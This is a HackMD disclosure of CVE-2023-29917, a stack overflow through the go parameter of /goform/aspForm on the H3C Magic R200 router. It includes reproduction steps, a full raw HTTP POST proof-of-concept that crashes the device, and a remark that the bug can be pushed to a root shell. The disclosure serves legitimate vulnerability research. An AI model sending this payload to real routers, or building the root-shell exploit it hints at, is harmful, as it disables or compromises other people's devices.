CVE-2023-29917: H3C Magic R200 was discovered stack overflow via go parameter at /goform/aspForm - HackMD

# H3C Magic R200 was discovered stack overflow via go parameter at /goform/aspForm ###### tags: `H3C` `Magic R200` vendor:H3C product:Magic R200 version:R200V100R004 type:Stack Overflow author:Wolin Zhuang, Yifeng Li; ## Vulnerability Description H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via go parameter at /goform/aspForm. ## Vulnerability Details The content obtained by the program through the go parameter is passed to v3, and then v3 is copied into `&goHtmlUrl`, the size of v3 is not checked, and there is a buffer overflow vulnerability.  ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic_R200 to newest version(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC  ``` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN_PSD_REM_FLAG= Connection: close Content-Length: 516 go=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; ``` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service.  And you can write your own exp to get the root shell.